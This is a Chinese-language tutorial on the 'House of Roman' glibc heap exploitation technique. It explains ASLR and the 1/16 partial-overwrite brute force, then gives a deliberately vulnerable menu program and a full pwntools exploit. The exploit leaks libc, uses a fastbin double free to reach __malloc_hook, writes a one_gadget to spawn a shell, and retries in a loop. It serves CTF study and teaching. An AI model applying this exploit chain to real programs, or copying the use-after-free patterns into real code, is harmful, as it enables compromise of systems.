House of Roman核心思想是利用了地址随机化,从而概率的获得指向目标地址的指针
目录
[二、House of Roman图解](#二、House of Roman图解)
前言
一般来说House of Roman会和IO_File结合在一起,并不需要泄露libc,适用于没有回显的场景中。但是笔者还没学到那里,而且本篇也侧重于House of Roman手法本身。所以会泄露libc(为了one_gadget),再结合House of Roman打__malloc_hook。
一、ASLR
ASLR,全称为 Address Space Layout Randomization,地址空间布局随机化。ASLR 技术在 2005 年的 kernel 2.6.12 中被引入到 Linux 系统,它将进程的某些内存空间地址进行随机化来增大入侵者预测目的地址的难度,从而降低进程被成功入侵的风险。当前 Linux、Windows 等主流操作系统都已经采用该项技术。
Linux 平台上 ASLR 分为 0,1,2 三级,用户可以通过一个内核参数 randomize_va_space 进行等级控制。它们对应的效果如下:
0:没有随机化。即关闭 ASLR。
1:保留的随机化。共享库、栈、mmap() 以及 VDSO 将被随机化。
2:完全的随机化。在 1 的基础上,通过 brk() 分配的内存空间也将被随机化。
我们可以通过以下命令进行查看/修改:
Go
root@xxxx:/home/xxxx# cat /proc/sys/kernel/randomize_va_space
2
root@xxxx:/home/xxxx# echo 0 > /proc/sys/kernel/randomize_va_space
root@xxxx:/home/xxxx# cat /proc/sys/kernel/randomize_va_space
0
利用ASLR,可以实现1/16的概率修改指针到指定地址。这是因为libc的加载地址是页对齐的,这意味着我们修改两个字节,即[xyyy],只有x是不确定的,对应4bit,也就16种可能。具体来说看以下演示调试
二、House of Roman图解
一向喜欢图解,直观形象。
首先堆空间申请三个chunk,大小和布局如下图所示:
此时我们释放chunk2,chunk2将进入unsortedbin中
申请合适大小的chunk,使得unsortedbin中的chunk2被切割后,剩下0x70大小的chunk会放回到unsortedbin中,即写入unsortedbin指针------一个libc上的地址。
这时候我们申请chunk2,并修改堆上低两个字节,利用地址随机化,随机到目的地址
然后利用fastbin double free:
进一步我们可以控制到:
此时我们malloc 4次,就可以申请到targetaddr。在本例中,targetaddr是malloc_hook附近的一块错位符合0x7f size的fake chunk的地址。
还是搞不懂,怎么就错位,怎么就随机能够1/16的概率??嗯,我们来看调试
三、模板与测试
(一)pwn.c
cpp
#include<stdlib.h>
#include <stdio.h>
#include <unistd.h>
char *chunk_list[0x100];
void menu() {
puts("1. add chunk");
puts("2. delete chunk");
puts("3. edit chunk");
puts("4. show chunk");
puts("5. exit");
puts("choice:");
}
int get_num() {
char buf[0x10];
read(0, buf, sizeof(buf));
return atoi(buf);
}
void add_chunk() {
puts("index:");
int index = get_num();
puts("size:");
int size = get_num();
chunk_list[index] = malloc(size);
}
void delete_chunk() {
puts("index:");
int index = get_num();
free(chunk_list[index]);
}
void edit_chunk() {
puts("index:");
int index = get_num();
puts("length:");
int length = get_num();
puts("content:");
read(0, chunk_list[index], length);
}
void show_chunk() {
puts("index:");
int index = get_num();
puts(chunk_list[index]);
}
int main() {
setbuf(stdin, NULL);
setbuf(stdout, NULL);
setbuf(stderr, NULL);
while (1) {
menu();
switch (get_num()) {
case 1:
add_chunk();
break;
case 2:
delete_chunk();
break;
case 3:
edit_chunk();
break;
case 4:
show_chunk();
break;
case 5:
exit(0);
default:
puts("invalid choice.");
}
}
}
(二)exp.py
python
from pwn import *
libc=ELF("./libc.so.6")
elf=ELF("./pwn")
context(arch=elf.arch,log_level='INFO')
def add(index,size):
io.sendlineafter(b'choice:\n',b'1')
io.sendlineafter(b'index:\n',str(index).encode())
io.sendlineafter(b'size:\n',str(size).encode())
def delete(index):
io.sendlineafter(b'choice:\n',b'2')
io.sendlineafter(b'index:\n',str(index).encode())
def edit(index,length,content):
io.sendlineafter(b'choice:\n',b'3')
io.sendlineafter(b'index',str(index).encode())
io.sendlineafter(b'length:\n',str(length).encode())
io.sendafter(b'content:\n',content)
def show(index):
io.sendlineafter(b'choice:\n',b'4')
io.sendlineafter(b'index:\n',str(index).encode())
# gdb.attach(io)
while True:
io=process('./pwn')
try:
# leak libc
add(0,0x200)
add(1,0x200)
delete(0)
show(0)
libc.address=u64(io.recv(6).ljust(8,b'\x00'))-0x39bb78
success(hex(libc.address))
delete(1)
# House of Roman
add(0,0x68)
add(1,0x98)
add(2,0x68)
delete(1)
add(3,0x28)
add(1,0x68)
edit(1,0x2,p16(0xbaed))
# pause()
# fastbin double free
delete(0)
delete(2)
delete(0)
edit(2,1,p8(0xa0))
add(3,0x68)
add(3,0x68)
add(3,0x68)
add(3,0x68)
# one_gadget
'''
0x3f3e6 execve("/bin/sh", rsp+0x30, environ)
constraints:
address rsp+0x40 is writable
rax == NULL || {rax, "-c", rbx, NULL} is a valid argv
0x3f43a execve("/bin/sh", rsp+0x30, environ)
constraints:
[rsp+0x30] == NULL || {[rsp+0x30], [rsp+0x38], [rsp+0x40], [rsp+0x48], ...} is a valid argv
0xd5c07 execve("/bin/sh", rsp+0x70, environ)
constraints:
[rsp+0x70] == NULL || {[rsp+0x70], [rsp+0x78], [rsp+0x80], [rsp+0x88], ...} is a valid argv
'''
one_gadget=[0x3f3e6,0x3f43a,0xd5c07][2]+libc.address
edit(3,0x13+8,p64(one_gadget).rjust(0x13+0x8,b'\x00'))
add(0,0x10)
io.interactive()
except:
print("failed this time, try again")
sleep(1)
io.close()
(三)调试分析
来看一下House of Roman的关键部分------低两字节写。
首先我们关闭ASLR
bash
echo 0 > /proc/sys/kernel/randomize_va_space
然后调试:
unsortedbin中的大小为0xa0的chunk经过切割后剩下0x70大小的chunk:
查看一下__malloc_hook附近的fake chunk地址,为0x7ffff7baed,而此时申请出0x70则残留0x7ffff7b9bb78,可以看到这两个地址在同一个0x1000即同一个页中,所以页内偏移是固定的,只有这个'b'可能会因为地址随机而改变。因此4个bit,共16中可能,也就是1/16的概率。
由于我调试时发现我的libc尽管开启了ASLR,也总是0x100000对齐,所以展示意义不大。但在做题时,远程libc肯定是以页为对齐单位。
因此我们可以写一个循环,来随机到正确的地址实现fake chunk的申请,写__malloc_hook为ogg。